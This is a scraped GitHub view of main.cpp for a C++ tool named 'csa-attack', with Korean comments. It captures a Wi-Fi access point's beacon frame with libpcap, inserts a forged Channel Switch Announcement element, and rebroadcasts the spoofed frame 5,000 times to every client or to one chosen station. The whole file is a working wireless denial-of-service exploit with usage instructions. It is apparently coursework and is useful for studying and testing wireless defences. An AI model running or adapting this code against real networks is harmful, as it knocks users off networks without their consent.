-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathmain.cpp
More file actions
217 lines (178 loc) · 5.23 KB
/
main.cpp
File metadata and controls
217 lines (178 loc) · 5.23 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
#include <pcap.h>
#include <iostream>
#include <fstream>
#include <sstream>
#include <ifaddrs.h>
#include <stdio.h>
#include <netinet/in.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <unistd.h>
#include <array>
#include <thread>
#include <chrono>
#include <vector>
#include <string>
#include <utility>
#include <cstring>
#include <map>
#include <iomanip>
#include "beacon.h"
#include "mac.h"
using namespace std;
void usage()
{
printf("syntax: csa-attack <interface> <ap-mac> [station-mac] \n");
printf("sample: csa-attack wlan0 AA:BB:CC:DD:EE:FF\n");
}
bool check_beacon_frame(const uint8_t *frame_ptr, size_t length)
{
if (length < 2)
{
return false;
}
const uint16_t *type_sub_type_field = reinterpret_cast<const uint16_t *>(frame_ptr);
uint16_t type_sub_type = ntohs(*type_sub_type_field); // 네트워크 바이트 순서를 호스트 바이트 순서로 변환
// Beacon frame의 타입 및 서브타입 값은 0x8000
return type_sub_type == 0x8000;
}
void adjust_offset_for_boundary(size_t &offset, size_t field_size)
{
if (field_size % 2 == 0)
{
offset = (offset + 1) & ~1; // 2바이트 경계에 맞추기
}
}
void beacon_process(struct dot11 *header, struct pcap_pkthdr *pcap_header, macpack macset)
{
if (header->it_version != 0)
{
printf("packet's version must be 0 \n");
return;
}
int radiolength = header->it_len;
size_t length = pcap_header->caplen;
if (length < radiolength + 16)
{
printf("Packet too short for BSSID\n");
return;
}
uint8_t *dmac_ptr = reinterpret_cast<uint8_t *>(header) + radiolength + 4;
uint8_t *smac_ptr = reinterpret_cast<uint8_t *>(header) + radiolength + 10;
memcpy(dmac_ptr, &macset.dmac, sizeof(Mac));
memcpy(smac_ptr, &macset.smac, sizeof(Mac));
const size_t ieee80211_header_length = 24;
// 비콘 프레임 페이로드 시작점
uint8_t *frame_payload_ptr = reinterpret_cast<uint8_t *>(header) + radiolength + ieee80211_header_length;
uint8_t *tagged_fix_ptr = frame_payload_ptr;
uint8_t *tagged_ptr = tagged_fix_ptr + 12;
uint8_t *next_tag_ptr;
bool insertAtEnd = true;
while (true)
{
uint8_t tag_idx = *tagged_ptr;
uint8_t tag_len = *(tagged_ptr + 1);
if (tagged_ptr >= reinterpret_cast<uint8_t *>(header) + length - 2)
{
break;
}
if (tag_idx > 0x25)
{
size_t data_after_tagged_ptr = length - (tagged_ptr - reinterpret_cast<uint8_t *>(header)) - tag_len - 2; // -2 for tag_idx and tag_len
memmove(tagged_ptr + 5, tagged_ptr, data_after_tagged_ptr);
uint8_t insert_data[] = {0x25, 0x03, 0x01, 0x24, 0x03};
memcpy(tagged_ptr, insert_data, sizeof(insert_data));
tagged_ptr += sizeof(insert_data);
size_t remain_data_len = data_after_tagged_ptr - 5;
insertAtEnd = false;
break;
}
tagged_ptr += 2 + tag_len;
}
if (insertAtEnd)
{
uint8_t insert_data[] = {0x25, 0x03, 0x01, 0x24, 0x03};
if (reinterpret_cast<uint8_t *>(header) + length - tagged_ptr >= sizeof(insert_data))
{
memcpy(tagged_ptr, insert_data, sizeof(insert_data));
}
else
{
printf("Not enough space to insert data at the end\n");
}
}
}
int main(int argc, char *argv[])
{
if (argc < 3)
{
usage();
return -1;
}
char *dev = argv[1];
Mac apmac(argv[2]);
char errbuf[PCAP_ERRBUF_SIZE];
pcap_t *handle = pcap_open_live(dev, BUFSIZ, 1, 1000, errbuf);
if (handle == nullptr)
{
fprintf(stderr, "couldn't open device %s(%s)\n", dev, errbuf);
return -1;
}
macpack macset;
switch (argc)
{
case 3: // broad
{
macset.dmac = Mac(Mac::broadcastMac());
macset.smac = apmac;
break;
}
case 4: // uni staion
{
macset.dmac = Mac(argv[3]);
macset.smac = apmac;
break;
}
default:
usage();
return -1;
}
struct pcap_pkthdr *header;
const uint8_t *packet;
u_char *reply1 = nullptr;
while (true)
{
int ret = pcap_next_ex(handle, &header, &packet);
if (ret == 0)
{
printf("Timeout, no packet received\n");
continue;
}
if (ret == -1 || ret == -2)
{
fprintf(stderr, "pcap_next_ex error: %s\n", pcap_geterr(handle));
break;
}
struct dot11 *radiotap_hdr = (struct dot11 *)packet;
const size_t ieee80211_header_length = 24;
if (check_beacon_frame(reinterpret_cast<const uint8_t *>(radiotap_hdr) + (radiotap_hdr->it_len), header->caplen - (radiotap_hdr->it_len)))
{
beacon_process(radiotap_hdr, header, macset);
break;
}
else
{
continue;
}
}
for (int i = 0; i < 5000; ++i)
{
if (pcap_sendpacket(handle, packet, header->len + 5) != 0)
{
fprintf(stderr, "Error sending the packet: %s\n", pcap_geterr(handle));
}
std::this_thread::sleep_for(std::chrono::milliseconds(5));
}
pcap_close(handle);
return 0;
}